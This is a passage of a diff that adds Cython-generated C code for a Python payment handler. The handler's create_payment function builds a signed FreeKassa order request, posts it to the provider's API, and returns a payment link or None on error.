__pyx_r; +} + +static PyObject *__pyx_gb_8handlers_8payments_13freekassa_pay_4generator(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value) /* generator body */ +{ + struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_1_create_payment *__pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_1_create_payment *)__pyx_generator->closure); + PyObject *__pyx_r = NULL; + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + PyObject *__pyx_t_3 = NULL; + unsigned int __pyx_t_4; + PyObject *__pyx_t_5 = NULL; + PyObject *__pyx_t_6 = NULL; + PyObject *__pyx_t_7 = NULL; + PyObject *__pyx_t_8 = NULL; + int __pyx_t_9; + int __pyx_t_10; + PyObject *__pyx_t_11 = NULL; + PyObject *__pyx_t_12 = NULL; + PyObject *__pyx_t_13 = NULL; + int __pyx_t_14; + char const *__pyx_t_15; + PyObject *__pyx_t_16 = NULL; + PyObject *__pyx_t_17 = NULL; + PyObject *__pyx_t_18 = NULL; + PyObject *__pyx_t_19 = NULL; + PyObject *__pyx_t_20 = NULL; + PyObject *__pyx_t_21 = NULL; + PyObject *__pyx_t_22 = NULL; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("create_payment", 0); + switch (__pyx_generator->resume_label) { + case 0: goto __pyx_L3_first_run; + default: /* CPython raises the right error here */ + __Pyx_RefNannyFinishContext(); + return NULL; + } + __pyx_L3_first_run:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 36, __pyx_L1_error) + + /* "handlers/payments/freekassa_pay.py":37 + * + * async def create_payment(user_id, amount, email, ip): + * payment_id = str(uuid.uuid4()) # <<<<<<<<<<<<<< + * nonce = int(time.time() * 1000) + * params = { + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_uuid); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 37, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_uuid4); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 37, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, NULL}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 37, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __pyx_t_3 = __Pyx_PyObject_Unicode(__pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 37, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_GIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_v_payment_id = __pyx_t_3; + __pyx_t_3 = 0; + + /* "handlers/payments/freekassa_pay.py":38 + * async def create_payment(user_id, amount, email, ip): + * payment_id = str(uuid.uuid4()) + * nonce = int(time.time() * 1000) # <<<<<<<<<<<<<< + * params = { + * "shopId": FREEKASSA_SHOP_ID, + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_time); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 38, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_time); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 38, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_1)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_1); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_1, NULL}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 38, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __pyx_t_2 = __Pyx_PyInt_MultiplyObjC(__pyx_t_3, __pyx_int_1000, 0x3E8, 0, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 38, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyNumber_Int(__pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 38, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_GIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_v_nonce = __pyx_t_3; + __pyx_t_3 = 0; + + /* "handlers/payments/freekassa_pay.py":40 + * nonce = int(time.time() * 1000) + * params = { + * "shopId": FREEKASSA_SHOP_ID, # <<<<<<<<<<<<<< + * "amount": amount, + * "currency": "RUB", + */ + __pyx_t_3 = __Pyx_PyDict_NewPresized(8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 40, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_FREEKASSA_SHOP_ID); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 40, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_t_3, __pyx_n_u_shopId, __pyx_t_2) < 0) __PYX_ERR(0, 40, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/freekassa_pay.py":41 + * params = { + * "shopId": FREEKASSA_SHOP_ID, + * "amount": amount, # <<<<<<<<<<<<<< + * "currency": "RUB", + * "paymentId": payment_id, + */ + if (PyDict_SetItem(__pyx_t_3, __pyx_n_u_amount, __pyx_cur_scope->__pyx_v_amount) < 0) __PYX_ERR(0, 40, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_u_currency, __pyx_n_u_RUB) < 0) __PYX_ERR(0, 40, __pyx_L1_error) + + /* "handlers/payments/freekassa_pay.py":43 + * "amount": amount, + * "currency": "RUB", + * "paymentId": payment_id, # <<<<<<<<<<<<<< + * "email": email, + * "ip": ip, + */ + if (PyDict_SetItem(__pyx_t_3, __pyx_n_u_paymentId, __pyx_cur_scope->__pyx_v_payment_id) < 0) __PYX_ERR(0, 40, __pyx_L1_error) + + /* "handlers/payments/freekassa_pay.py":44 + * "currency": "RUB", + * "paymentId": payment_id, + * "email": email, # <<<<<<<<<<<<<< + * "ip": ip, + * "i": 6, + */ + if (PyDict_SetItem(__pyx_t_3, __pyx_n_u_email, __pyx_cur_scope->__pyx_v_email) < 0) __PYX_ERR(0, 40, __pyx_L1_error) + + /* "handlers/payments/freekassa_pay.py":45 + * "paymentId": payment_id, + * "email": email, + * "ip": ip, # <<<<<<<<<<<<<< + * "i": 6, + * "nonce": nonce, + */ + if (PyDict_SetItem(__pyx_t_3, __pyx_n_u_ip, __pyx_cur_scope->__pyx_v_ip) < 0) __PYX_ERR(0, 40, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_u_i, __pyx_int_6) < 0) __PYX_ERR(0, 40, __pyx_L1_error) + + /* "handlers/payments/freekassa_pay.py":47 + * "ip": ip, + * "i": 6, + * "nonce": nonce, # <<<<<<<<<<<<<< + * } + * params["signature"] = generate_signature(params, FREEKASSA_API_KEY) + */ + if (PyDict_SetItem(__pyx_t_3, __pyx_n_u_nonce, __pyx_cur_scope->__pyx_v_nonce) < 0) __PYX_ERR(0, 40, __pyx_L1_error) + __Pyx_GIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_v_params = ((PyObject*)__pyx_t_3); + __pyx_t_3 = 0; + + /* "handlers/payments/freekassa_pay.py":49 + * "nonce": nonce, + * } + * params["signature"] = generate_signature(params, FREEKASSA_API_KEY) # <<<<<<<<<<<<<< + * + * try: + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_generate_signature); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 49, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_FREEKASSA_API_KEY); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 49, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_5 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_5)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_5); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[3] = {__pyx_t_5, __pyx_cur_scope->__pyx_v_params, __pyx_t_1}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 2+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 49, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + if (unlikely((PyDict_SetItem(__pyx_cur_scope->__pyx_v_params, __pyx_n_u_signature, __pyx_t_3) < 0))) __PYX_ERR(0, 49, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/freekassa_pay.py":51 + * params["signature"] = generate_signature(params, FREEKASSA_API_KEY) + * + * try: # <<<<<<<<<<<<<< + * response = requests.post( + * "https://api.freekassa.com/v1/orders/create", json=params + */ + { + __Pyx_ExceptionSave(&__pyx_t_6, &__pyx_t_7, &__pyx_t_8); + __Pyx_XGOTREF(__pyx_t_6); + __Pyx_XGOTREF(__pyx_t_7); + __Pyx_XGOTREF(__pyx_t_8); + /*try:*/ { + + /* "handlers/payments/freekassa_pay.py":52 + * + * try: + * response = requests.post( # <<<<<<<<<<<<<< + * "https://api.freekassa.com/v1/orders/create", json=params + * ) + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_requests); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 52, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_post); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 52, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/freekassa_pay.py":53 + * try: + * response = requests.post( + * "https://api.freekassa.com/v1/orders/create", json=params # <<<<<<<<<<<<<< + * ) + * response_data = response.json() + */ + __pyx_t_3 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 53, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_json, __pyx_cur_scope->__pyx_v_params) < 0) __PYX_ERR(0, 53, __pyx_L4_error) + + /* "handlers/payments/freekassa_pay.py":52 + * + * try: + * response = requests.post( # <<<<<<<<<<<<<< + * "https://api.freekassa.com/v1/orders/create", json=params + * ) + */ + __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__3, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 52, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_response = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/freekassa_pay.py":55 + * "https://api.freekassa.com/v1/orders/create", json=params + * ) + * response_data = response.json() # <<<<<<<<<<<<<< + * + * logging.debug(f" FreeKassa : {response_data}") + */ + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_response, __pyx_n_s_json); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 55, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, NULL}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 55, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_response_data = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/freekassa_pay.py":57 + * response_data = response.json() + * + * logging.debug(f" FreeKassa : {response_data}") # <<<<<<<<<<<<<< + * + * if response_data.get("type") == "success": + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_logging); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 57, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_debug); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 57, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_response_data, __pyx_empty_unicode); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 57, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_5 = __Pyx_PyUnicode_Concat(__pyx_kp_u_FreeKassa, __pyx_t_3); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 57, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, __pyx_t_5}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 57, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/freekassa_pay.py":59 + * logging.debug(f" FreeKassa : {response_data}") + * + * if response_data.get("type") == "success": # <<<<<<<<<<<<<< + * return response_data["location"] + * else: + */ + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_response_data, __pyx_n_s_get); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 59, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_5 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_5)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_5); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_5, __pyx_n_u_type}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 59, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __pyx_t_9 = (__Pyx_PyUnicode_Equals(__pyx_t_1, __pyx_n_u_success, Py_EQ)); if (unlikely((__pyx_t_9 < 0))) __PYX_ERR(0, 59, __pyx_L4_error) + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + if (__pyx_t_9) { + + /* "handlers/payments/freekassa_pay.py":60 + * + * if response_data.get("type") == "success": + * return response_data["location"] # <<<<<<<<<<<<<< + * else: + * logging.error(f" : {response_data}") + */ + __Pyx_XDECREF(__pyx_r); + __pyx_t_1 = __Pyx_PyObject_Dict_GetItem(__pyx_cur_scope->__pyx_v_response_data, __pyx_n_u_location); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 60, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_r = NULL; __Pyx_ReturnWithStopIteration(__pyx_t_1); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + goto __pyx_L8_try_return; + + /* "handlers/payments/freekassa_pay.py":59 + * logging.debug(f" FreeKassa : {response_data}") + * + * if response_data.get("type") == "success": # <<<<<<<<<<<<<< + * return response_data["location"] + * else: + */ + } + + /* "handlers/payments/freekassa_pay.py":62 + * return response_data["location"] + * else: + * logging.error(f" : {response_data}") # <<<<<<<<<<<<<< + * return None + * + */ + /*else*/ { + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_logging); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 62, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_error); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 62, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_response_data, __pyx_empty_unicode); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 62, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = __Pyx_PyUnicode_Concat(__pyx_kp_u__4, __pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 62, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_5))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_5); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_5, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_t_3}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_5, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 62, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/freekassa_pay.py":63 + * else: + * logging.error(f" : {response_data}") + * return None # <<<<<<<<<<<<<< + * + * except Exception as e: + */ + __Pyx_XDECREF(__pyx_r); + __pyx_r = NULL; + goto __pyx_L8_try_return; + } + + /* "handlers/payments/freekassa_pay.py":51 + * params["signature"] = generate_signature(params, FREEKASSA_API_KEY) + * + * try: # <<<<<<<<<<<<<< + * response = requests.post( + * "https://api.freekassa.com/v1/orders/create", json=params + */ + } + __pyx_L4_error:; + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + + /* "handlers/payments/freekassa_pay.py":65 + * return None + * + * except Exception as e: # <<<<<<<<<<<<<< + * logging.error(f" FreeKassa: {e}") + * return None + */ + __pyx_t_10 = __Pyx_PyErr_ExceptionMatches(((PyObject *)(&((PyTypeObject*)PyExc_Exception)[0]))); + if (__pyx_t_10) { + __Pyx_AddTraceback("handlers.payments.freekassa_pay.create_payment", __pyx_clineno, __pyx_lineno, __pyx_filename); + if (__Pyx_GetException(&__pyx_t_1, &__pyx_t_5, &__pyx_t_3) < 0) __PYX_ERR(0, 65, __pyx_L6_except_error) + __Pyx_XGOTREF(__pyx_t_1); + __Pyx_XGOTREF(__pyx_t_5); + __Pyx_XGOTREF(__pyx_t_3); + __Pyx_INCREF(__pyx_t_5); + __Pyx_GIVEREF(__pyx_t_5); + __pyx_cur_scope->__pyx_v_e = __pyx_t_5; + /*try:*/ { + + /* "handlers/payments/freekassa_pay.py":66 + * + * except Exception as e: + * logging.error(f" FreeKassa: {e}") # <<<<<<<<<<<<<< + * return None + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_logging); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 66, __pyx_L16_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_12 = __Pyx_PyObject_GetAttrStr(__pyx_t_11, __pyx_n_s_error); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 66, __pyx_L16_error) + __Pyx_GOTREF(__pyx_t_12); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_e, __pyx_empty_unicode); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 66, __pyx_L16_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_13 = __Pyx_PyUnicode_Concat(__pyx_kp_u_FreeKassa_2, __pyx_t_11); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 66, __pyx_L16_error) + __Pyx_GOTREF(__pyx_t_13); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_12))) { + __pyx_t_11 = PyMethod_GET_SELF(__pyx_t_12); + if (likely(__pyx_t_11)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_12); + __Pyx_INCREF(__pyx_t_11); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_12, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_11, __pyx_t_13}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_12, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 66, __pyx_L16_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + } + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/freekassa_pay.py":67 + * except Exception as e: + * logging.error(f" FreeKassa: {e}") + * return None # <<<<<<<<<<<<<< + * + * + */ + __Pyx_XDECREF(__pyx_r); + __pyx_r = NULL; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + goto __pyx_L15_return; + } + + /* "handlers/payments/freekassa_pay.py":65 + * return None + * + * except Exception as e: # <<<<<<<<<<<<<< + * logging.error(f" FreeKassa: {e}") + * return None + */ + /*finally:*/ { + __pyx_L16_error:; + /*exception exit:*/{ + __Pyx_PyThreadState_assign + __pyx_t_16 = 0; __pyx_t_17 = 0; __pyx_t_18 = 0; __pyx_t_19 = 0; __pyx_t_20 = 0; __pyx_t_21 = 0; + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_XDECREF(__pyx_t_12); __pyx_t_12 = 0; + __Pyx_XDECREF(__pyx_t_13); __pyx_t_13 = 0; + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + if (PY_MAJOR_VERSION >= 3) __Pyx_ExceptionSwap(&__pyx_t_19, &__pyx_t_20, &__pyx_t_21); + if ((PY_MAJOR_VERSION < 3) || unlikely(__Pyx_GetException(&__pyx_t_16, &__pyx_t_17, &__pyx_t_18) < 0)) __Pyx_ErrFetch(&__pyx_t_16, &__pyx_t_17, &__pyx_t_18); + __Pyx_XGOTREF(__pyx_t_16); + __Pyx_XGOTREF(__pyx_t_17); + __Pyx_XGOTREF(__pyx_t_18); + __Pyx_XGOTREF(__pyx_t_19); + __Pyx_XGOTREF(__pyx_t_20); + __Pyx_XGOTREF(__pyx_t_21); + __pyx_t_10 = __pyx_lineno; __pyx_t_14 = __pyx_clineno; __pyx_t_15 = __pyx_filename; + { + __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); + __Pyx_DECREF(__pyx_cur_scope->__pyx_v_e); __pyx_cur_scope->__pyx_v_e = 0; + } + if (PY_MAJOR_VERSION >= 3) { + __Pyx_XGIVEREF(__pyx_t_19); + __Pyx_XGIVEREF(__pyx_t_20); + __Pyx_XGIVEREF(__pyx_t_21); + __Pyx_ExceptionReset(__pyx_t_19, __pyx_t_20, __pyx_t_21); + } + __Pyx_XGIVEREF(__pyx_t_16); + __Pyx_XGIVEREF(__pyx_t_17); + __Pyx_XGIVEREF(__pyx_t_18); + __Pyx_ErrRestore(__pyx_t_16, __pyx_t_17, __pyx_t_18); + __pyx_t_16 = 0; __pyx_t_17 = 0; __pyx_t_18 = 0; __pyx_t_19 = 0; __pyx_t_20 = 0; __pyx_t_21 = 0; + __pyx_lineno = __pyx_t_10; __pyx_clineno = __pyx_t_14; __pyx_filename = __pyx_t_15; + goto __pyx_L6_except_error; + } + __pyx_L15_return: { + __Pyx_PyThreadState_assign + __pyx_t_21 = 0; __pyx_t_20 = 0; __pyx_t_19 = 0; __pyx_t_18 = 0; __pyx_t_17 = 0; __pyx_t_16 = 0; + if (PY_MAJOR_VERSION >= 3) __Pyx_ExceptionSwap(&__pyx_t_18, &__pyx_t_17, &__pyx_t_16); + if ((PY_MAJOR_VERSION < 3) || unlikely(__Pyx_GetException(&__pyx_t_21, &__pyx_t_20, &__pyx_t_19) < 0)) __Pyx_ErrFetch(&__pyx_t_21, &__pyx_t_20, &__pyx_t_19); + 